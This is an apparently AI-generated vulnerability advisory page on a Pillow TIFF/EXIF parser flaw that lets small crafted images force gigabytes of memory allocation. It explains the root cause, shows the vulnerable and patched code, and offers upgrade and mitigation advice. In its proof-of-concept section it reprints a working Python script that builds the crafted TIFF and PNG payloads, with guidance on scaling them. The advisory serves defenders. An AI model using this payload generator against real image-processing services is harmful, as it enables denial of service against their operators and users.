CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-128066

CVE-2026-128066: Quadratic Memory Amplification Denial of Service in Pillow TIFF and EXIF IFD Parser

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 13, 2026·13 min read·2 visits

Executive Summary (TL;DR)

Pillow versions 1.0 through 12.3.0 fail to bound cumulative memory allocations when reading out-of-line IFD tag values in TIFF images and EXIF metadata. A small crafted file (e.g., 72 KB to 786 KB) with aliased tag offsets can force the allocation of gigabytes of RAM upon calling Image.open() or getexif(), resulting in an application crash or kernel Out-Of-Memory (OOM) termination. Fixed in Pillow 13.0.0.

CVE-2026-128066 (GHSA-wqgw-9xfh-qf2g) is a resource allocation vulnerability (CWE-770) in the Python Pillow imaging library affecting versions 1.0 through 12.3.0. The flaw resides in the ImageFileDirectory_v2.load() method within src/PIL/TiffImagePlugin.py, which processes Tag Image File Format (TIFF) structures and Exchangeable Image File Format (EXIF) metadata across multiple container formats. By supplying an image with thousands of IFD tag entries that point to overlapping or identical file offsets, an attacker can trigger quadratic memory amplification (O(N * filesize)). Because the vulnerability occurs during metadata parsing rather than pixel decoding, it bypasses Pillow's built-in decompression bomb protections (Image.MAX_IMAGE_PIXELS).

Vulnerability Overview

Pillow is the primary image processing library for the Python ecosystem, widely deployed in web applications, media ingestion pipelines, and document processing services to validate, transform, and extract metadata from user-supplied files. Within Pillow's architecture, the TiffImagePlugin module is responsible not only for parsing standalone TIFF files, but also for decoding Image File Directory (IFD) structures embedded within EXIF metadata payloads across JPEG, PNG, WebP, and MPO image formats.

CVE-2026-128066 (also tracked as GHSA-wqgw-9xfh-qf2g) is an unchecked resource allocation vulnerability classified under CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerability exists in ImageFileDirectory_v2.load() within src/PIL/TiffImagePlugin.py. This code path originated in the initial import of PIL 1.1.7 in 2010 and persisted through Pillow 12.3.0. When parsing IFD entries whose data payloads exceed the inline threshold (4 bytes for standard TIFF, 8 bytes for BigTIFF), the parser seeks to an attacker-controlled offset in the file stream and reads the specified byte count into a newly allocated bytes object.

Because the parser validates each tag read independently against the end-of-file boundary without tracking the cumulative bytes allocated across the entire IFD or across multiple frames, an attacker can construct an IFD where thousands of distinct tags reference the exact same byte range in the file. This offset aliasing results in quadratic memory amplification relative to the input file size ($O(N^2)$).

Crucially, this vulnerability bypasses Pillow's standard defence against resource exhaustion: Image.MAX_IMAGE_PIXELS and _decompression_bomb_check(). Those controls strictly evaluate the product of the image's declared width and height prior to pixel buffer allocation. A crafted image declaring dimensions of $1 \times 1$ pixel passes the decompression bomb check without warning while still allocating tens of gigabytes of heap memory during metadata loading.

Root Cause Analysis

The TIFF specification organizes metadata into Image File Directories (IFDs). A classic 32-bit TIFF IFD begins with a 2-byte unsigned integer specifying the number of directory entries (tag_count), followed by a sequence of 12-byte tag entries. Each 12-byte entry consists of a 2-byte tag identifier (tag), a 2-byte data type (typ), a 4-byte count of values (count), and a 4-byte value/offset field (data). In the 64-bit BigTIFF format, tag_count expands to 8 bytes and each entry occupies 20 bytes (HHQ8s).

When ImageFileDirectory_v2.load() iterates over these entries, it calculates the total byte size of the tag value as size = count * unit_size. If size exceeds 4 bytes (or 8 bytes in BigTIFF), the value cannot fit inline within the entry's data field. Instead, data is unpacked as a file stream offset. The parser saves its current stream position (here = fp.tell()), seeks to the unpacked offset, reads size bytes via ImageFile._safe_read(fp, size), restores the file pointer to here, and stores the resulting bytes object in the self._tagdata dictionary keyed by the tag ID.

The root cause of CVE-2026-128066 is a mismatch between the local safety invariant enforced by ImageFile._safe_read() and the global memory invariant required for safe parsing. ImageFile._safe_read(fp, size) reads data in chunks and ensures that a single read operation does not allocate memory beyond the actual bytes available between the current stream offset and the end of the file (preventing classic single-read truncation allocations where a header claims a 4 GB payload in a 1 KB file). However, _safe_read() is stateless across calls.

In a well-formed TIFF or EXIF stream, out-of-line tag payloads occupy disjoint regions of the file, meaning the sum of all allocated self._tagdata entries cannot exceed the total length of the underlying stream ($\sum \text{size}_i \le \text{filesize}$). Because ImageFileDirectory_v2.load() does not enforce this cumulative bound or verify that tag offsets are disjoint, an attacker can define $N$ distinct private tag IDs (e.g., tag IDs $1000$ through $1000 + N$) where every entry specifies offset = 1 and size = filesize - 1.

The resulting memory complexity is quadratic. Each standard TIFF tag entry requires 12 bytes in the input file, so a file containing $N$ aliased tags has a minimum size of approximately $12N$ bytes. During parsing, each of the $N$ tags allocates a buffer of size $\approx 12N$ bytes, retaining $N \times 12N = 12N^2$ bytes in self._tagdata. For a classic TIFF, the 16-bit tag ID space permits up to 65,535 distinct tags in a single IFD; a ~786 KB file with 65,535 aliased tags forces Pillow to allocate roughly 48 GiB of memory. Furthermore, in multi-frame TIFF files, TiffImageFile._seek() loads sequential IFDs chained via next-IFD pointers, allowing an attacker to multiply allocations across frames if budgets are only tracked per-IFD.

Code Analysis

Prior to Pillow 13.0.0, the vulnerable loop in src/PIL/TiffImagePlugin.py within ImageFileDirectory_v2.load() read out-of-line tag data without tracking cumulative size:

# Vulnerable implementation in src/PIL/TiffImagePlugin.py (Pillow <= 12.3.0)
def load(self, fp: IO[bytes]) -> None:
    self.reset()
    self._offset = fp.tell()
 
    try:
        tag_count = (
            self._unpack("Q", self._ensure_read(fp, 8))
            if self._bigtiff
            else self._unpack("H", self._ensure_read(fp, 2))
        )[0]
        for i in range(tag_count):
            tag, typ, count, data = (
                self._unpack("HHQ8s", self._ensure_read(fp, 20))
                if self._bigtiff
                else self._unpack("HHL4s", self._ensure_read(fp, 12))
            )
            # ... [type lookup and unit_size calculation] ...
            size = count * unit_size
            if size > (8 if self._bigtiff else 4):
                here = fp.tell()
                (offset,) = self._unpack("Q" if self._bigtiff else "L", data)
                # ... [offset validation] ...
                fp.seek(offset)                        # Seeks to aliased offset
                data = ImageFile._safe_read(fp, size)  # Allocates `size` bytes every iteration
                fp.seek(here)
            else:
                data = data[:size]
 
            self._tagdata[tag] = data                  # Retains allocation in dictionary
            self.tagtype[tag] = typ

The remediation was implemented across two commits. The first commit (4908edaf7f416616784c7c03d8c1a60153710ffb) introduced a stream-size ceiling within ImageFileDirectory_v2.load(). Upon entering load(), the parser seeks to io.SEEK_END to measure the underlying stream size (file_size) and maintains a running sum (total_size) of all out-of-line tag reads. If any tag causes total_size to exceed file_size, a UserWarning is emitted and the tag is skipped prior to calling _safe_read().

However, bounding total_size solely within a single ImageFileDirectory_v2.load() call left a bypass vector via multi-frame TIFFs. When iterating or seeking through frames in a multi-frame TIFF, TiffImageFile._seek() calls self.tag_v2.load(self.fp) for each frame. An attacker could construct a file with thousands of frames where each frame's IFD consumes up to file_size bytes, either by accumulating state or triggering repeated allocations during frame traversal. Commit 4b63dffd8a6d980fa0e21b40832fa6cbf033eacf resolved this by introducing a shared budget (_tag_data_remaining) across all frames of a TiffImageFile instance.

# Patched implementation in src/PIL/TiffImagePlugin.py (Pillow 13.0.0)
# 1. Inside ImageFileDirectory_v2.load():
def load(self, fp: IO[bytes]) -> None:
    self.reset()
    self._offset = fp.tell()
    fp.seek(0, io.SEEK_END)
    limit = fp.tell()                                  # Measure total stream size
    fp.seek(self._offset)
    if self._tag_data_limit is not None:
        limit = min(limit, self._tag_data_limit)       # Enforce multi-frame remaining budget
    self._tag_data_size = 0
 
    try:
        # ... [unpack tag_count] ...
        total_size = 0
        for i in range(tag_count):
            # ... [unpack tag header and calculate size] ...
            if size > (8 if self._bigtiff else 4):
                here = fp.tell()
                (offset,) = self._unpack("Q" if self._bigtiff else "L", data)
                # ...
                # Enforce invariant: cumulative out-of-line tag data <= stream limit
                total_size += size
                if total_size > limit:
                    warnings.warn(f"Tag data larger than file. Skipping tag {tag}")
                    continue
                self._tag_data_size += size
                fp.seek(offset)
                data = ImageFile._safe_read(fp, size)
                fp.seek(here)
# 2. Inside TiffImageFile._open() and TiffImageFile._seek():
def _open(self) -> None:
    # ...
    self.fp.seek(0, io.SEEK_END)
    self._tag_data_remaining = self.fp.tell()          # Initialize global file budget
    self._tag_data_limits: list[int] = []
 
def _seek(self, frame: int) -> None:
    # When advancing through unseen frames:
    while self.__frame < frame:
        # ...
        self._tag_data_limits.append(self._tag_data_remaining)
        self.tag_v2._tag_data_limit = self._tag_data_remaining
        self.tag_v2.load(self.fp)
        self._tag_data_remaining -= self.tag_v2._tag_data_size  # Deduct frame's consumption
        # ...
    # When seeking to a target frame (recording limit ensures deterministic reloads):
    self.fp.seek(self._frame_pos[frame])
    self.tag_v2._tag_data_limit = self._tag_data_limits[frame]
    self.tag_v2.load(self.fp)

Fix Completeness Assessment

The combined patches effectively neutralize the quadratic amplification vector. By capping cumulative out-of-line allocations across both single IFDs and multi-frame TIFF chains to $1\times$ the underlying stream length, memory consumption is strictly reduced from $O(N \times \text{filesize})$ to $O(\text{filesize})$. Furthermore, recording per-frame limits in self._tag_data_limits ensures that re-seeking to previously visited frames (im.seek(0)) behaves deterministically without allowing unbounded growth across frames. Note that nested sub-IFDs (such as ExifIFD or GPSIFD loaded via _get_ifd_dict()) instantiate separate ImageFileDirectory_v2 objects on the EXIF bytes stream; each such call is independently bounded by the EXIF segment stream size.

Exploitation and Reachability

Exploitation of CVE-2026-128066 requires no authentication or special configuration; an attacker only needs to supply a crafted image file to an application that processes images using Pillow. Notably, the vulnerability is reachable across five distinct file formats through common API entry points, often before the application attempts to decode pixel data or validate image dimensions.

  1. TIFF (Image.open()): Calling Image.open() on a TIFF stream immediately invokes TiffImageFile._open(), which calls self._seek(0) and self.tag_v2.load(self.fp). Lazy loading does not protect against this vector because IFD metadata is loaded during the open() call itself.
  2. JPEG (Image.open()): When opening a JPEG image that lacks a JFIF DPI header, JpegImageFile._open() automatically invokes self._read_dpi_from_exif(), which calls getexif() and parses the APP1 EXIF segment via ImageFileDirectory_v2.load(). A 66 KB JPEG APP1 segment with 5,400 aliased tags immediately allocates ~340 MiB upon Image.open().
  3. PNG (getexif(), ImageOps.exif_transpose()): While Image.open() on a PNG does not parse the eXIf chunk immediately, any subsequent call to im.getexif() or ImageOps.exif_transpose() triggers ImageFileDirectory_v2.load(). ImageOps.exif_transpose() is standard practice in web upload handlers to normalize camera orientation.
  4. WebP and MPO: Accessing EXIF data in WebP or parsing Multi-Picture Object (MPO) files similarly routes through Image.Exif.load() and ImageFileDirectory_v2.load().

Proof of Concept Analysis

The following proof-of-concept script (published in advisory GHSA-wqgw-9xfh-qf2g) constructs a valid $1 \times 1$ pixel grayscale little-endian TIFF (II*\0) containing 8 standard tags and 6,000 aliased private tags (IDs 1000–6999). Each private tag has type 1 (BYTE), a count equal to size - 1, and an offset of 1:

#!/usr/bin/env python3
import io, struct, resource
from PIL import Image
 
# Cap address space at 4 GiB to raise MemoryError instead of triggering OS OOM-killer
resource.setrlimit(resource.RLIMIT_AS, (4 << 30, 4 << 30))
 
def aliased_ifd(n_alias, real=()):
    """Classic LE TIFF: header + one IFD. n_alias BYTE tags each cover the whole file."""
    n = len(real) + n_alias
    size = 8 + 2 + 12 * n + 4
    ents = {t: struct.pack("<HHLL", t, typ, 1, v) for t, (typ, v) in dict(real).items()}
    for t in range(1000, 1000 + n_alias):
        ents[t] = struct.pack("<HHLL", t, 1, size - 1, 1)      # BYTE[size-1] @ offset 1
    blob = b"II*\0" + struct.pack("<LH", 8, n) + b"".join(ents[t] for t in sorted(ents)) + b"\0" * 4
    assert len(blob) == size
    return blob
 
# 1) TIFF: 1x1 L image + 6000 aliased private tags -> triggered via Image.open() alone
real = {256: (3, 1), 257: (3, 1), 258: (3, 8), 259: (3, 1), 262: (3, 1),
        273: (4, 8), 278: (3, 1), 279: (4, 1)}
tif = aliased_ifd(6000, real)
im = Image.open(io.BytesIO(tif))
held_t = sum(len(v) for v in im.tag_v2._tagdata.values())
print(f"TIFF {len(tif)} B: Image.open() retains {held_t >> 20} MiB ({held_t // len(tif)}x file size)")
 
# 2) PNG: 1x1 L image with crafted eXIf chunk -> triggered via im.getexif()
exif = aliased_ifd(6000)
buf = io.BytesIO(); Image.new("L", (1, 1)).save(buf, "PNG", exif=exif); png = buf.getvalue()
im2 = Image.open(io.BytesIO(png)); e = im2.getexif()
held_e = sum(len(v) for v in e._info._tagdata.values()) if e._info is not None else 0
print(f"PNG  {len(png)} B: getexif() retains {held_e >> 20} MiB ({held_e // len(png)}x file size)")

When executed against Pillow 12.3.0, the 72,110-byte TIFF file causes Image.open() to allocate and retain 412 MiB of tag data in im.tag_v2._tagdata (an amplification factor of ~6,000x). Increasing n_alias to 12,000 (~144 KB file) retains 1.65 GiB (~11,700x amplification), and increasing n_alias to 65,535 (~786 KB file) attempts to allocate ~48 GiB, immediately exhausting system memory.

Impact Assessment

CVE-2026-128066 carries a CVSS v4.0 base score of 8.7 (HIGH) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. The attack vector is Network (AV:N) with Low attack complexity (AC:L) and no attack requirements (AT:N), privileges (PR:N), or user interaction (UI:N) needed in standard web service deployments that accept image uploads.

The primary security impact is a high impact to the availability of the vulnerable system (VA:H). There is no direct impact to confidentiality (VC:N) or integrity (VI:N), as the vulnerability strictly involves heap allocations filled with existing bytes from the attacker's own input file rather than out-of-bounds memory reads or writes.

In production environments, the operational consequences of this vulnerability are magnified by two factors:

  1. Bypass of File Size and Dimension Filters: Web applications typically guard image endpoints using HTTP request body size limits (e.g., 2 MB to 10 MB maximum upload size) and Pillow's Image.MAX_IMAGE_PIXELS. Because a payload well under 800 KB can force a 48 GiB memory allocation while reporting $1 \times 1$ pixel dimensions, both controls are completely ineffective.
  2. Multi-Format Reachability: Applications that restrict uploads to JPEG or PNG formats—or check magic bytes prior to calling Image.open()—remain vulnerable because JPEG APP1 and PNG eXIf segments use the exact same ImageFileDirectory_v2.load() parser.

When an attacker submits one or more crafted files to a Python web worker (such as Gunicorn, uWSGI, or Celery tasks), rapid gigabyte-scale allocations will either raise an unhandled MemoryError or invoke the Linux kernel Out-Of-Memory (OOM) killer, terminating the worker process and potentially starving co-located services on the host.

Remediation and Mitigation

Primary Remediation: Upgrade to Pillow 13.0.0

The definitive fix for CVE-2026-128066 is available in Pillow 13.0.0, which incorporates both single-IFD stream size bounding (4908edaf7f416616784c7c03d8c1a60153710ffb) and multi-frame tag budget tracking (4b63dffd8a6d980fa0e21b40832fa6cbf033eacf). Development and operations teams should update their dependency manifests and rebuild affected environments:

pip install --upgrade "pillow>=13.0.0"

> [!NOTE] > After upgrading to Pillow 13.0.0, attempting to load an image with overlapping tag data that exceeds the stream size will emit a Python UserWarning matching "Tag data larger than file. Skipping tag <tag_id>" and skip the offending tags rather than raising an exception. Applications that treat warnings as errors (-W error) should ensure UserWarning exceptions during Image.open() or getexif() are caught alongside OSError and Image.DecompressionBombError.

Workarounds and Defense-in-Depth

For environments where an immediate upgrade to Pillow 13.0.0 cannot be deployed, the following mitigations reduce the risk and blast radius of exploitation:

  1. Restrict Allowed Formats: If TIFF support is not required by the application, pass the formats parameter to Image.open() to restrict the parser to required formats only:
    from PIL import Image
    # Prevents TiffImagePlugin from opening standalone TIFF files
    im = Image.open(stream, formats=["PNG", "WEBP"])
    Note that restricting formats to ["JPEG"] does not prevent JpegImageFile._open() from parsing EXIF APP1 metadata if the JPEG lacks a JFIF header.
  2. Avoid Unnecessary EXIF Parsing: On PNG and WebP files, ImageFileDirectory_v2.load() is only reached if the application explicitly reads EXIF metadata (e.g., via im.getexif(), im._getexif(), or ImageOps.exif_transpose()). Avoid calling these methods on untrusted images until Pillow is patched.
  3. Enforce Process and Container Memory Limits: Isolate image processing workloads into dedicated worker processes or containers configured with strict memory ceilings (e.g., resource.setrlimit(resource.RLIMIT_AS, ...) in Python, MemoryMax= in systemd, or container memory limits in Kubernetes) paired with automatic process restart policies.

Official Patches

python-pillowGitHub Security Advisory GHSA-wqgw-9xfh-qf2g
python-pillowPillow 13.0.0 Release Notes

Fix Analysis (2)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Affected Systems

Pillow (PyPI: pillow) versions 1.0 through 12.3.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
Pillow
python-pillow
>= 1.0, <= 12.3.013.0.0
AttributeDetail
CVE / Advisory IDCVE-2026-128066 / GHSA-wqgw-9xfh-qf2g
Vulnerability ClassCWE-770: Allocation of Resources Without Limits or Throttling
CVSS v4.0 Score8.7 HIGH (AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
Affected ComponentImageFileDirectory_v2.load() in src/PIL/TiffImagePlugin.py
Affected FormatsTIFF, JPEG (EXIF APP1), PNG (eXIf), WebP (EXIF), MPO
Affected VersionsPillow >= 1.0, <= 12.3.0
Patched VersionPillow 13.0.0
Exploit StatusPublic Proof-of-Concept Available

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-770
Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing a pure-Python reproducer script that generates crafted TIFF and PNG (eXIf) payloads with 6,000 aliased IFD tags.

Vulnerability Timeline

Vulnerable IFD parsing loop introduced in commit 9a640e315715 during the import of PIL 1.1.7.
2010-07-30
Primary fix committed to Pillow repository (4908edaf7f416616784c7c03d8c1a60153710ffb) bounding single-IFD tag data by stream size.
2026-09-18
Follow-up fix committed (4b63dffd8a6d980fa0e21b40832fa6cbf033eacf) sharing the TIFF tag data budget across multiple frames.
2026-10-10
GitHub Security Advisory GHSA-wqgw-9xfh-qf2g published and CVE-2026-128066 assigned.
2026-11-12
NVD and CVE.org records published.
2026-11-13

References & Sources

  • [1]GitHub Security Advisory: GHSA-wqgw-9xfh-qf2g
  • [2]Pillow Commit 4908edaf7f416616784c7c03d8c1a60153710ffb: Bound retained TIFF tag data by stream size
  • [3]Pillow Commit 4b63dffd8a6d980fa0e21b40832fa6cbf033eacf: Share TIFF tag data budget across frames
  • [4]Pillow 13.0.0 Release
  • [5]CVE.org Record: CVE-2026-128066
  • [6]NVD Vulnerability Detail: CVE-2026-128066

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•38 minutes ago•CVE-2026-128067
8.4

CVE-2026-128067: Out-of-Bounds Heap Read and Write in Pillow libtiff Encoder via Geometry Tag Overrides

CVE-2026-128067 is a memory corruption vulnerability in Pillow (versions 2.3.0 through 12.3.0) occurring when saving compressed TIFF images via the underlying libtiff encoder. By supplying crafted image geometry tags through exif=, tiffinfo=, or a source TIFF IFD, an attacker can override the scanline dimensions configured in libtiff while Pillow allocates the internal row buffer based strictly on the physical image dimensions. This mismatch induces an out-of-bounds heap read during scanline encoding, and escalates to an out-of-bounds heap write when TIFF Predictor 2 (horizontal differencing) is enabled.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 3 hours ago•CVE-2026-126081
7.5

CVE-2026-126081: Strong Parameters Bypass via Parameters#each_key in Ruby on Rails Action Pack

CVE-2026-126081 is a mass-assignment vulnerability (CWE-915) in the Action Pack component of Ruby on Rails. Prior to versions 8.1.4.1 and 8.0.5.2, the ActionController::Parameters#each_key method was delegated directly to the internal ActiveSupport::HashWithIndifferentAccess instance holding raw request parameters. When invoked with a block, #each_key returned the underlying unpermitted hash rather than the ActionController::Parameters wrapper instance. Applications that pass the return value of #each_key directly into Active Model mass-assignment methods bypass Strong Parameters enforcement, allowing attackers to modify restricted model attributes.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 4 hours ago•CVE-2026-126084
4.7

CVE-2026-126084: Unsigned Content-Type in Rails Active Storage GCS Direct Uploads

A vulnerability classified under CWE-345 (Insufficient Verification of Data Authenticity) exists in the Active Storage component of Ruby on Rails prior to versions 8.1.4.1 and 8.0.5.2. When Google Cloud Storage (GCS) is configured as the storage backend with the cache_control option enabled, Active Storage switches from GCS V2 signing to V4 signing for direct upload URLs. Because the V4 signing implementation only binds the Cache-Control and Host headers, the Content-Type and Content-MD5 headers remain unsigned. An attacker can modify the Content-Type header during a direct upload request to store HTML or SVG files with active JavaScript on the GCS bucket origin, enabling Service Worker registration and interception of subsequent signed URL responses within the bucket path.

Amit Schendel
Amit Schendel
6 views•9 min read
•about 5 hours ago•CVE-2026-126079
6.1

CVE-2026-126079: Cross-Site Scripting in Ruby on Rails Action View Text Helpers via HTML5 Serialization Desynchronization

A Cross-Site Scripting (XSS) vulnerability exists in Ruby on Rails Action View prior to versions 8.0.5.2 and 8.1.4.1. When applications use the default HTML5 sanitizer (Rails::HTML5::Sanitizer) with Nokogiri versions prior to 1.19.5, angle brackets (< and >) inside HTML attribute values are serialized unescaped. Action View text helpers—specifically highlight and simple_format—perform string-based manipulations on the sanitized HTML rather than operating on the DOM tree. An unescaped '>' character or a double newline ('\n\n') inside an attribute value causes these helpers to misidentify tag or paragraph boundaries, breaking out of the attribute context and emitting inert attribute contents as live HTML elements in the final html_safe output.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 6 hours ago•CVE-2026-126070
6.1

CVE-2026-126070: Cross-Site Scripting in Ruby on Rails Action View strip_tags Helper

CVE-2026-126070 is a Cross-Site Scripting (XSS) vulnerability in the Action View component of Ruby on Rails. Prior to versions 8.0.5.2 and 8.1.4.1, the strip_tags helper returned sanitized output marked as html_safe without encoding single or double quotation marks. When applications render the output of strip_tags inside quoted HTML attributes in ERB templates, attackers can break out of the attribute context and inject arbitrary HTML attributes or JavaScript event handlers.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 7 hours ago•CVE-2026-126078
6.1

CVE-2026-126078: Cross-Site Scripting in Ruby on Rails Action View highlight Helper

CVE-2026-126078 is a Cross-Site Scripting (XSS) vulnerability classified under CWE-79 affecting the Action View component of Ruby on Rails in versions prior to 8.0.5.2 and 8.1.4.1. The vulnerability resides in the ActionView::Helpers::TextHelper#highlight method when invoked with a custom :highlighter template that places capture group placeholders inside HTML attribute values. Because matched substrings are substituted without HTML escaping after initial sanitization preserves literal quotation marks, an attacker controlling the input text or target search phrase can break out of the surrounding attribute delimiter and inject arbitrary HTML attributes or JavaScript event handlers.

Amit Schendel
Amit Schendel
4 views•9 min read